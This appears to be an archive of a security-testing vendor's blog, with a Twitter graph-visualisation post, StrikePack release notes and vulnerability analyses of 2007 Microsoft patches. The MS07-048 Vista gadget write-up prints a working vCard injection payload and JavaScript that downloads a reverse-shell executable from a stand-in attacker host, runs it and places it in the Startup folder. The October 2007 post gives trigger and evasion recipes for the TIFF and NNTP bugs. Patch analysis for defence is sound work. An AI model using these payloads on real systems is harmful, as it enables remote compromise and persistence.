Visualizing the Twitter Social Network

Back in July, BreakingPoint added support for the Twitter API to our Application Simulator. The method I used in developing this AppSim protocol was to reference the API documentation, writeup a small client, and capture network packets. Looking at how API clients and the Twitter servers behave makes developing a realistic simulation of Twitter pretty simple to do. One question we commonly hear, especially concerning our Security and Application Simulator components, is, "How do you verify correctness?" I want to give one specific example of this by talking about a side project I worked on recently.

Once a month, I attend a local meeting of people interested in computer security. The format for the meetings allows anyone to do a talk typically between five and fifteen minutes in length. I always wait until a few days before the meetings to start thinking about prospective topics. Since I'd been working on some Trac tickets related to Twitter, I thought I might do a short topic related to mapping out the Twitter network. My original goal was to find all the cool security celebrities as a way to find all the cool links everyone is talking about.

Twitter is like most social networks, in that it tracks 'friend' relationships between users. I thought it would be interesting to visualize some of the friend/follower relationships on the site. I started to write yet-another-twitter-client. After about 10 minutes, I saw that I was reimplementing the same code I'd already done for AppSim. I decided I might as well leverage the code I'd written for AppSim. This is one way to address the question of application correctness. If I take the code in the BreakingPoint product that implements the Twitter API, and can really communicate with Twitter servers, then I would call our implementation correct. It's also a good way to make sure I don't have any bugs in Twitter, too.

I started implementing a directed graph in ruby. About 15 seconds later I started looking for a library for doing directed graphs. I found RGL, the Ruby Graph Library. There's a ton of usefulness in that library, and I know I'm not scratching the surface of how I could use it. I hadn't even started thinking about visualization yet, but I found that RGL supports Dot files, the input supported by GraphViz. I was further convinced that RGL was going to be great to work with. I had about a day before the meeting, and didn't want to write any layout code. I just wanted something done quickly (and with the least amount of effort on my part).

I wrapped the AppSim code that implements the Friends/Followers Twitter API calls, and started putting the list of Twitter users into a queue. I then dequeue the first user from the front queue, and get her friends and followers, and repeat.

This graph shows the social network from the perspective of the @BreakingPoint Twitter account. This graph adds new nodes in whatever order they are returned in the API calls.

Ok, so there are some users that show prominently, but it's all a jumble and hard to really extract anything useful.

My next method was to order insertion into the queue by the number of follwers each friend had. This technique had an interesting effect; the user I start graphing at (again, @BreakingPoint) remains in the center of the graph. You'll notice that most of the edges are directed out of the @BreakingPoint user. This is due to the fact that I process all the friends first, then all the followers. One attribute of this view is that people we follow that have a large following are prominent. It's a nice side-effect of how GraphViz lays out the graph.

The biggest problem doing this is that you end up with many of the same users populating graphs, even when starting from different initial users. When you order by the number of followers, eventually someone in your network is following @CNN or @the_Onion, and graphs from different runs start looking very similar in terms of what users are prominent. Also, once you hit a user with a follower count in the tens-of-thousands, progress in mapping the network slows as you retrieve followers in batches of 100 at a time, which is a requirement of the API. If anyone in the network you're graphing follows, say, @BarackObama, you should go to your local Alamo Drafthouse and catch a movie.

It became obvious that filtering is key if you want to get any interesting results from the data.

Here is a graph generated by limiting the users included in the graph to those with between one hundred and one thousand followers. I have also modified the graph to show our biggest followers.

An image like this gives you an idea of the most potentially influential followers you have. If you were a marketer like @KyleFlaherty, you could use this information to start trying to influence the biggest influencers that follow you. In the marketing world, word-of-mouth is a goldmine. This seems especially true in social networks where your friends are hand-selected.

This is just a first step into the topic of data visualization for me. I have a feeling I'm going to have to come up with something better than GraphViz for visualization. I've also had a request for making a web application out of this and make it available to a wider audience. I'd like to use the comments to gauge demand for this tool. If it looks like people would find this useful, I might just try and get it cleaned up and make a simple version available.

The number one thing people have said they'd want is interactivity. I think I'll go get working on that. I have tons of features I'd like to see, and I still don't have a talk for the upcoming meeting.

Update: the first thumbnail and linked image were corrected.

StrikePack 27188 Released

StrikePack 27188 is now available to BreakingPoint customers. This StrikePack adds five new strikes to the security component.  Customers can login to the BreakingPoint StrikeCenter to download this StrikePack.

StrikePack 25482 Released

StrikePack 25482 is now available to BreakingPoint customers. This StrikePack adds 16 new strikes, improves no existing strikes, and removes no strikes. This StrikePack also adds support in Appsim for the unix time and daytime protocols.

StrikePack 24931 Released

StrikePack 24931 is now available to BreakingPoint Customers. This StrikePack adds 5 new strikes. This StrikePack also adds support in Appsim for MSSQL TDS protocol, Oracle TNS protocol, FIXT protocol, and FIX protocol. Superflows for all these protocols have been added to the Application Manager to make integrating these protocols into an Appsim test easy to do.

StrikePack 24706 Released

StrikePack 24706 is now available to BreakingPoint customers. This StrikePack adds two new strikes, and modifies one existing strike.

StrikePack 24235 Released.

StrikePack 24235 is now available to BreakingPoint Customers. This StrikePack adds 0 new strikes, improves 355 existing strikes, and removes 0 strikes.


<br/><br/>
This StrikePack also includes updates to the HTTP and Telnet protocols in Appsim.

<br/><br/>
The HTTP protocol updates include clarifications of action parameter names and default values; user-controlled HTTP request and response content using resource files or input via the UI; and two new raw HTTP actions that allow for complete control of HTTP requests and responses.

<br/><br/>
The Telnet protocol was updated to allow for finer control over Telnet sessions, including telnet
client and server profiling, telnet logins, client commands and server shell responses, and logging out.

StrikePack 23305 Released

StrikePack 23305 is now available to BreakingPoint customers. This StrikePack is being released to increase the number of protocols shown in the Application Manager beyond the current limit of 25 when
creating new application superflows.

After applying this StrikePack, it is reccommended that you clear the cache on your web browser, in order to cause the new version of the user interface to be loaded.

StrikePack 23210 Released

StrikePack 23120 is now available to BreakingPoint customers. This StrikePack adds several new features for the HTTP protocol in Appsim. These features
include support for customization of many HTTP headers, setting cookies, authentication,
multiple forms of response encoding, keepalives, and user-defined HTTP content.

StrikePack 22292 Released

StrikePack 22292 is now available to BreakingPoint customers. This StrikePack adds six new strikes and renames one existing strike.

StrikePack 21889 Released

StrikePack 21889 is now available to BreakingPoint customers. This StrikePack adds 16 new strikes, improves 1 existing strike, and removes 0 strikes. This StrikePack includes coverage for many of the issues patched by Microsoft in February 2008.

StrikePack 21396 Released

StrikePack 21396 is now available to BreakingPoint customers. This StrikePack improves 21 strikes, and also adds 2 new SMB dataflows to the AppsSim component.

StrikePack 20863 Released

StrikePack 20863 is now available to BreakingPoint customers. This StrikePack adds six new strikes and modifies four existing strikes.

StrikePack 20547 Released

StrikePack 20547 is now available to BreakingPoint customers. This StrikePack adds twenty-four new strikes and modifies thirteen strikes.

StrikePack 19946 Released

StrikePack 19946 is now available to BreakingPoint customers. This StrikePack adds eighteen new strikes covering fourteen vulnerabilities.

StrikePack 19536 Released.

StrikePack 19536 is now available to BreakingPoint customers. This StrikePack adds 49 new strikes covering 38 vulnerabilities, and modifies 2 existing strikes.

StrikePack 19181 Released

StrikePack 19181 is now available to BreakingPoint customers. This release adds seven strikes covering seven vulnerabilities. Starting with this StrikePack, the release note format has been updated to include more details about the strikes being added. The new details are the strike name, CVE names and other references, keywords, and a description of the strike.

StrikePack 18821 Released

StrikePack 18821 is now available to BreakingPoint customers. This StrikePack includes six strikes covering three vulnerabilities.

StrikePack 18363 Released

StrikePack 18363 is now available to BreakingPoint customers. This StrikePack includes nine new strikes covering five new vulnerabilities.

StrikePack 18033 Released

StrikePack 18033 is now available to BreakingPoint customers. This StrikePack adds thirteen strikes covering nine vulnerabilities. Seventeen strikes were modified in this release. Please note that StrikePacks 17714 and 17363 have been removed. BreakingPoint recommends that customers update to StrikePack 18033.

StrikePack 17714 Released

StrikePack 17714 is now available to BreakingPoint customers. This StrikePack adds three new strikes covering three vulnerabilities.

StrikePack 17363 Released

StrikePack 17363 is now available to BreakingPoint customers. This StrikePack adds seven new strikes covering five vulnerabilities, six new fuzzers, and renames seven strikes in the tree.

StrikePack 17057 Released

StrikePack 17057 is now available to BreakingPoint customers. This StrikePack includes thirteen new strikes covering three vulnerabilities.

StrikePack 16735 Released

StrikePack 16735 is now available to BreakingPoint customers. This StrikePack adds six new strikes covering six vulnerabilities.

StrikePack 16508 Released

StrikePack 16508 is now available to BreakingPoint customers. This StrikePack adds nineteen new strikes covering nine new vulnerabilities.

StrikePack 16220 Released

StrikePack 16220 is now available to BreakingPoint customers. This release contains ten new strikes covering six new vulnerabilities.

StrikePack 15863 Released

StrikePack 15863 is now available to BreakingPoint customers. This release contains nine new strikes covering seven new vulnerabilities.

StrikePack 15557 Released

StrikePack 15557 is now available to BreakingPoint customers. This release contains 10 new strikes covering 3 new vulnerabilities.

October 2007 Microsoft Tuesday

Every Microsoft Tuesday is busy here at BreakingPoint Systems, with the entire Strike Team pouring over patches, looking at IDA disassemblies, pondering BinDiff graphs, and writing exploits. From early Tuesday morning we (and our scripts) are monitoring the Windows update site in order to get the patches and bug descriptions as soon as they become available. After that, a quick game of who's-got-what-bug, and we're off to the races.

The October 2007 Microsoft patches cover the following issues:

MS07-055
Vulnerability in Kodak Image Viewer Could Allow Remote Code Execution
References: CVE-2007-2217

The MS07-055 bulletin addresses an issue with Kodak Image Viewer in the mishandling of TIFF images. TIFF files begin with an 8 byte header which consists of byte-order indicator (bytes 0-1), the value 42 (bytes 2-3), and an offset in bytes of the first Image File Directory (IFD), which allows the IFD to be located anywhere in the file. An IFD consists of a count of the number of directory entries (2 bytes) followed by a sequence of 12-byte entries, followed by a 4-byte offset of the next IFD (or 0 if none). A valid TIFF file must contain at least one IFD.

The bug lies in the application's processing of a particular IFD entry, the BitsPerSample structure. The BitsPerSample structure consists of a 2-byte tag (258), a 2-byte type (3), a 4-byte count of values, and a 4-byte offset of where the values are located. To trigger the bug, set the offset to some arbitrary data, and as the file parser attempts to parse the values from the incorrect location, the application will crash. This crash is currently being investigated further by the BreakingPoint Strike Team in order to determine where the application crashes, and to develop a proof-of-concept exploit for the bug.

Here is an example TIFF file:	Here is the crash caught in windbg:

There are three important variations to consider with exploitation of this bug. First is the byte-ordering indicator in the TIFF header. Since TIFF files can come in both byte orders, it is important to test your inline security device's coverage for this bug using both big- and little-endian TIFF files containing the attack. Second is the IFD offset field. Modifying the IFD offset in the TIFF file can aid in evading detection by devices that expect the IFD to be located near the beginning of the TIFF file. Multiple IFD entries can also be chained by using the offset to the next IFD, which requires the inline security device to parse down the entire chain of IFD entries. And finally, with file format bugs such as this, an attacker can use multiple network protocols for getting the malicious file into a victim's network. BreakingPoint includes tests covering HTTP, SMTP, POP3, and IMAP4 for most file format bugs in our strikeset.

The BreakingPoint Strike Team performed independent testing of one inline security device after applying the vendor's security pack that included coverage for this bug, and found an interesting result. It appears that the signature for this bug lacks sufficient coverage for all the cases given above. We found that this particular inline security device only provides coverage for MS07-055 when all of the following conditions are met:

1. The transport is HTTP
2. The TIFF file is encoded using little-endian byte ordering
3. The IFD structure is located within the first 310 bytes of the file

Here is a graph showing the detection rate of this inline security device for the 8 strikes covering this particular bug:


What these results indicate is that 8 strikes were sent through the device, and 0 were detected. This indicates insufficient coverage for this vulnerability by this particular device.

Multiple strikes covering various transports and formats for this bug will be included in the StrikePack released on October 11, 2007

MS07-056
Security Update for Outlook Express and Windows Mail
References: CVE-2007-3897

The MS07-056 bulletin addresses an issue with the mishandling of NNTP server responses to the XHDR command. To exploit this bug, an attacker needs to cause the victim to browse an NNTP server under his control. The best way to do this is to employ HTTP redirection (either by sending an HTTP 301 header, or by meta-refreshing in the HTML, or similar), because this will require no user interaction beyond visiting the attacker-controlled page. The URL will look something like news://news.breakingpointsystems.com/alt.news.breakingpoint.

When Outlook Express interacts with a real NNTP server, the conversation between the client and server typically goes something like this like this:

		< Client Initiates Connection >
		Server: 200 NNTP Service 5.00.0984 Version: 5.0.2195.6702 Posting Allowed
		Client: MODE READER
		Server: 200 NNTP Service 5.00.0984 Version: 5.0.2195.6702 Posting Allowed
		Client: GROUP alt.news.breakingpoint
		Server: 211 1 1003 1265 alt.news.breakingpoint
		Client: XOVER 1003-1265
		Server: 224 Overview Information Follows
		Server: < Overview of group articles >
		< Client makes requests based on user input > 

In order to trigger this bug, we must get the client to issue the XHDR command. XHDR is similar to XOVER, except the client requests information about a specific header for a range of articles. A series of XHDR commands will request information about individual headers, including the From, Subject, Date, Message-ID, References, and Xrefs headers of all the articles in the group. So, how can we force Outlook Express to send the XHDR command to the server? The key is to send an error response to the XOVER command, causing the client to fall back to using XHDR.

The conversation between the client and our modified server goes like this:

		< Client Initiates Connection >
		Server: 200 NNTP Service 5.00.0984 Version: 5.0.2195.6702 Posting Allowed
		Client: MODE READER
		Server: 200 NNTP Service 5.00.0984 Version: 5.0.2195.6702 Posting Allowed
		Client: GROUP alt.news.breakingpoint
		Server: 211 1 1003 1265 alt.news.breakingpoint
		Client: XOVER 1003-1265
		Server: 500 Error
		Client: XHDR subject 1003-1265
		Server: < Overflow of article subject headers >
		< Client crashes > 

In response to the first XHDR command, an attacker should return more article headers than the client expects. The client expects to receive the number of articles the server told him about. After receiving the server reply, Outlook Express crashes, with what looks like heap corruption.



Coverage for this bug will be included in the StrikePack released on October 11, 2007

MS07-057
Cumulative Security Update for Internet Explorer
References: CVE-2007-3893, CVE-2007-3892, CVE-2007-1091, CVE-2007-3826

The MS07-057 bulletin addresses four vulnerabilities across multiple versions of Internet Explorer. Three of these vulnerabilities are related to address bar spoofing, through the use of the onUnload() and onBeforeUnload() javascript methods. These spoofing issues can be annoying, but present a low level of risk. A demonstration of one these flaws can be found on Michal Zalewski's IETrap3 page. The fourth issue is rated critical by Microsoft and allows arbitrary code execution. The Secunia advisory states the bug occurs when multiple file downloads queue at the same time. The BreakingPoint Strike Team is still working on this flaw and hope to reproduce it in time for the upcoming StrikePack.

MS07-058
Vulnerability in RPC Could Allow Denial of Service

The MS07-058 bulletin addresses a denial of service flaw in the RPCSS service. The Microsoft RPC Service (RPCSS) is vulnerable to a denial of service attack triggered during authentication. This can be caused by including invalid NTLMSSP inside of the DCERPC traffic. The result is a crash inside of rpcrt4.dll which terminates the RPCSS service and ultimately results in the reboot of the entire system. The BreakingPoint Strike Team is currently working on providing coverage for this vulnerability.

MS07-059
Vulnerability in Windows SharePoint Services Could Result in Elevation of Privilege

The MS07-059 bulletin addresses a cross-site scripting (XSS) vulnerability in the SharePoint service. This vulnerability can be used to hijack the session of another SharePoint user, if the attacker can convince the victim to access a specific URL after authenticating with the SharePoint server. We have reproduced this in-house and plan on including coverage for this flaw in the upcoming StrikePack.

MS07-060
Vulnerability in Microsoft Word Could Allow Remote Code Execution

The MS07-060 bulletin addresses a memory corruption vulnerability in Microsoft Word 2002. At this time, we have not been able to reproduce this flaw or locate an example exploit. As far as we can tell, most security vendors are using the same sample file to develop their signatures, and are not looking for the actual vulnerability.

StrikePack 14749 Released

StrikePack 14749 is now available to BreakingPoint customers. This release contains four new strikes covering four new vulnerabilities.

StrikePack 14401 Released

StrikePack 14401 is now available to BreakingPoint customers. This release contains two new strikes covering two new vulnerabilities. Additionally, this StrikePack adds support for performing security tests through devices acting as SYN proxies.

StrikePack 14114 Released

StrikePack 14114 is now available to BreakingPoint customers. This release contains three new strikes covering two new vulnerabilities.

StrikePack 13953 Released

StrikePack 13953 is now available to BreakingPoint customers. This release contains four new strikes covering four new vulnerabilities.

StrikePack 13868 Released

StrikePack 13868 is now available to BreakingPoint customers. This release contains nine new strikes covering three different vulnerabilities.

Vista Gadget Patches in MS07-048

Among the items patched in August by Microsoft were bugs in several Sidebar Gadgets included as part of Windows Vista. The advisory lists the RSS, contact, and weather gadgets as vulnerable to remote code execution.

Windows Vista Gadgets are described by Microsoft as "mini applications." This is somewhat of a misnomer. At their simplest, they are locally-hosted web applications that bundle all HTML, javascript, and other resources in a directory. As such, the application that hosts gadgets is actually IE7, or to use the description of Microsoft, gadgets "[use] the functionality of the Microsoft HTML (MSHTML) runtime, [and] are not limited by the standard browser security model."

Removing the standard browser security model means that gadgets have the ability to make calls to any code available locally or remotely. Local Active X controls, shell commands, and executables may be executed by a gadget. As will also be demonstrated, remotely-hosted executables can be downloaded to the machine and subsequently run.

The nature of the vulnerability in the contacts gadget is cross-site scripting in any of the phone number fields for a contact. Importing a specially-crafted contact file, and then viewing the contact in the gadget will result in code execution. This concept was to be one of the points in a talk at Defcon by Aviv Raff. A video demonstration of the attack has been made public. Since the bug is patched, we thought we'd show just how this attack works.

In the folder for the contact gadget is the file contact.html. The vulnerable version contains the following line of code, which inserts each of the phone numbers for the contact into the gadget HTML view:

newCell.innerHTML = "<span class='phone' title='" +
phoneNumber+"'></span>";

Each of the phone number fields is being placed into an <SPAN> tag with no filtering; this is as basic a cross-site scripting vulnerability as you can get.

First, you must convince your victim to add your vcard. An example card is shown below, with long lines broken by backslash:

BEGIN:VCARD
VERSION:3.0
FN:Inspector Gadget
TEL;type=HOME:(512) 555 - 1212\
                                            ' \
style='c:expression(document.all[document.all.length-1]\
.src="http://myevilhackerspace.com/adodb.js")
END:VCARD

One thing to point out here is that the embedded spaces between the telephone number and the embedded HTML style attribute will hide the attack when viewed in the contact manager in Windows Vista. Up to 3 embedded lines of javascript could be included in the contact file, as the home, work, and mobile phone numbers are all open to the same attack. Luckily, one injected javascript file will do the trick.



The embedded style tag evaluates a line of javascript which causes IE7 to download the javascript. This is done abusing the <SCRIPT> tag embedded in the gadget's HTML interface. In the vulerable file, the <SCRIPT> tag is the last tag in the file, located just before the close of the <HTML> tag.

When the gadget makes the request for the javascript file, the user agent is IE7, and the referer URL is empty. When XMLHttpRequest makes the request for the executable, it has a mildly interesting referer url of x-gadget:///contacts.html

The following javascript code is downloaded and run by the gadget:

var url="http://myevilhackerspace.com/reverse9999.exe";
var path=System.Environment.\
getEnvironmentVariable("APPDATA") + 
"\\Microsoft\\Windows\\Start Menu" +
"\\Programs\\StartUp\\reverse9999.exe";
var x = new XMLHttpRequest();
x.open("GET", url, true);
x.send();                                                
var a = new ActiveXObject("ADODB.Stream");
a.Type = 1;
a.Open();
a.Write(x.responseBody);
a.SaveToFile(path, 2);
a.Close;
a = null;
System.Shell.execute(path);

The injected javascript specifies a remotely-hosted executable file to be downloaded, which in this case is a reverse-connect shell that will connect to the attacker on TCP port 9999. It then specifies a location to save the file, using the Windows environment variables to place it in the user's startup folder. The file is downloaded using the XMLHttpRequest object, passing the resulting bytes to the ADODB.Stream Active X control to save to disk. Once the file is saved, it is executed, and the attacker now has a remote shell on the Vista box.





Strikes covering MS07-048 are included in BreakingPoint Systems StrikePack Update 13566, which was released on Fri August 17, 2007.

StrikePack 13086 Released

StrikePack 13086 is now available to BreakingPoint customers. This release contains 7 new strikes covering 6 different vulnerabilities.